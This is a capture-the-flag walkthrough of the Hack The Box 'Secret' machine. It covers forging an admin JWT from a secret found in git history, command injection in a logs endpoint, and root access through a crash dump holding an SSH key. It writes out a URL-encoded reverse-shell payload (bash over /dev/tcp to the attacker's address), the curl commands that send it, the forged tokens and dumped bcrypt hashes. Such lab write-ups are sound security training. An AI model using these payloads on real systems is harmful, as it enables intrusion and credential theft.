Date: 27/07/2022

Difficulty: Easy

CTF: https://app.hackthebox.com/machines/Secret


Enumeration

Let’s start testing the connection with the target machine:

Untitled

We have connection, and the ttl is 63, so we can say that we are probably against a Linux machine.

Let’s scan all TCP ports to see if there are open ports:

Untitled

Let’s scan these ports more deeply to try to get the service and the version running there:

Untitled

So, there is a SSH service running on port 22. And 2 http services running on 80 and 3000 TCP ports. The one running on port 80 is using nginx 1.18.0 and the one running on port 3000 is using Node.js (Express middleware)

Let’s take a look to them using whatweb:

Untitled

Nothing new I guess… Let’s visit them using the web-browser:

Untitled

There is a button to download the source code… Let’s download it.

It’s a zip file, so we have to uncompress it:

Untitled

Looks like a git repository… We may have a look to the commits if we don’t find nothing useful.

Untitled

Back to the webpage, there is a docs section where is explained how to install the software, and how to register a user, how to login and the private routes availables in the software.

The webpage shown when visiting the port 3000 looks identical to the previous one, so I’ll assume is the same one.

Let’s read the documentation in detail:

Untitled

They are using JWT tokens to secure the website. And mongodp as database.

Apparently we can use the API to register a user and login also.

Untitled

Let’s start trying to register a new user, I’ll use curl to send the POST request: curl -i -X POST -H 'Content-Type: application/json' -d '{"name": "angellm", "email": "alm@alm.com", "password": "angellm123!"}' http://10.10.11.120/api/user/register

Untitled

It looks like it worked!

Let’s try to log in then:

Untitled
Untitled
Untitled

So, let’s try to log in using the instructions above:

curl -i -X POST -H 'Content-Type: application/json' -d '{"email": "alm@alm.com", "password": "angellm123!"}' http://10.10.11.120/api/user/login

Untitled

We obtained an auth Token.

According to the docs it should be a JSON Web Token, so let’s use https://jwt.io/ to check it:

Untitled

Yep, it is and it has my name and email. Ok. Let’s see if we can access somewhere with this auth-token:

Untitled
Untitled
Untitled

Let’s try to login using the credential of the user we created: curl -i -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MmUxNmZlNGNlNmQ2NTA0NWEyZmVkZjYiLCJuYW1lIjoiYW5nZWxsbSIsImVtYWlsIjoiYWxtQGFsbS5jb20iLCJpYXQiOjE2NTg5NDE2Nzh9.Zki6v4H_CTObgP1MB-51j54yezKIQQ6t34yNrE9S_NQ' http://10.10.11.120/api/priv

Untitled

Ok, we receive the message of the normal user. We should try to get the admin user I guess…

We have no idea of the admin credentials, but we can check the files we previously donwloaded. I searched for keywords as “JWT”, “auth-token” or “secret” but I didn’t found anything useful. I said before that the downloaded files are a git repository, so we can inspect the commits:

Untitled

“removed .env for secutity reasons” Lol, this looks suspicious… Let’s take a look to the changes of that commit:

Untitled

Bingo, that looks like the secret used to validate the auth-tokens: gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

Untitled

If we use it to Encode the data of the user we created before we can see that the JWT obtained is the same.

Using the secret, we should be able to fake an admin auth-token. Looking at routes/private.js file we can see that the only verification that is being done is to check if the name of the user is “theadmin”:

Untitled

So, let’s bake a JWT with that name:

Untitled

And now, let’s use it to login as we did before:

Untitled

Success! We are now logged as admin, but what we should do now? hahaha

Looking back to private.js file, there is a route we haven’t used yet: /logs

Untitled

According to the code, it’s doing something strange at line 38, like a sending a command and showing the output. To bake that command, the parameter file is being collected from the url… so maybe we can inject code there and perform a RCE in the target machine? Let’s try it:

To test it, I’ll listen in my local machine for pings in the tun0 interface:

tcpdump -i tun0 icmp -n

And I’ll try to send a ping from the target machine. To do so, I’ll url encode the command I want to execute: ; ping -c 1 10.10.14.13 > %3Bping%20-c%201%2010.10.14.13

If this is appended to the command that the target will execute, it should ping my machine. curl -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MmUxNmZlNGNlNmQ2NTA0NWEyZmVkZjYiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFsbUBhbG0uY29tIiwiaWF0IjoxNjU4OTQxNjc4fQ.U4MB0eP5yc3eXWzseM_7dP2jf0JZP7RovnoMx9jv4mM' http://10.10.11.120/api/logs?file=%3Bping%20-c%201%2010.10.14.13

Untitled

Voila! We did it! Let’s try to obtain a reverse shell with the payload: ;bash -c "bash -i >& /dev/tcp/10.10.14.13/443 0>&1"

url encoded: %3Bbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.13%2F443%200%3E%261%22

curl -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MmUxNmZlNGNlNmQ2NTA0NWEyZmVkZjYiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFsbUBhbG0uY29tIiwiaWF0IjoxNjU4OTQxNjc4fQ.U4MB0eP5yc3eXWzseM_7dP2jf0JZP7RovnoMx9jv4mM' http://10.10.11.120/api/logs?file=%3Bbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.13%2F443%200%3E%261%22

Untitled

Yeah!

Untitled

And that’s how we obtain the user flag 🙂

Privilege Escalation

Let’s go for the root flag.

Untitled

Ok, so we will have to escalate privileges.

Untitled

This user is not inside any cool group…

Let’s look for SUID files:

Untitled

There is a strange file there… /opt/count

Let’s see what it does:

Untitled

It ask us for a file or directory. If we write a directory it lists the content and then it counts some things… As it’s being executed with root permissions, it’s able to see the content of /root folder. Finally, it ask us if we want to save the results. If we say yes it prompts asking for a name to create a file with the results. The data saved is not very interesing.

Untitled

Let’s see what happens when we insert a file instead of a directory:

Untitled

This time it doesn’t leak the content of the file…

Using this tool we can see that the root user has ssh keys inside the /root/.ssh folder

Untitled

If we can grab them we can gain access via ssh as root.

Ok, let’s continue looking for a way to escalate to root:

Untitled

No files with capabilities.

Untitled

No cronjobs

Untitled

The port 27017 is open internally, and we saw before that is the mongodb database.

Untitled

Let’s enumerate the database:

Untitled

Ok, we got interesting information there, users and hashed passwords.

Untitled
theadmin:$2a$10$SJ8vlQEJYL2J673Xte6BNeMmhHBioLSn6/wqMz2DKjxwQzkModUei user222:$2a$10$WmuQwihUQkzSrRoYakQdI.5hdjo820LNxSfEYATaBoTa/QXJmEbDS newuser:$2a$10$wnvh2al2ABafCszb9oWi/.YIXHX4RrTUiWAIVUlv2Z80lkvmlIUQW dasith:$2a$10$S/GbYplKgIU4oFdTDsr2SeOJreht3UgIA0MdT7F50EtiBy7ymzFBO
Untitled

mmmm… let´s try with this password

Untitled

Is not the dasith password.

Untitled

And is not valid neither for root user…

OK, let´s go back to the tool we find earlier at /opt directory. Let’s navigate to the /opt folder and see what’s inside:

Untitled

It seems that we have access to the C code of the application.

After a while not seeing nothing I can use, I took a look to the official walkthrough

Untitled

I didn’t know about this and I would never found it on my own…

Untitled
Untitled

Now we have to check if a crash report has been generated in /var/crash/

Untitled

As it has been generated, we can use the tool apport-unpack to recover the report of this file .crash:

Untitled

If we print the content of CoreDump file:

Untitled

We can see what looks like a ssh credential, I’m going to copy it to my local machine and set the correct permissions:

Untitled

Now, I should be able to use this credential to log as root using ssh:

Untitled
Untitled

And that’s how we gained access to the root flag!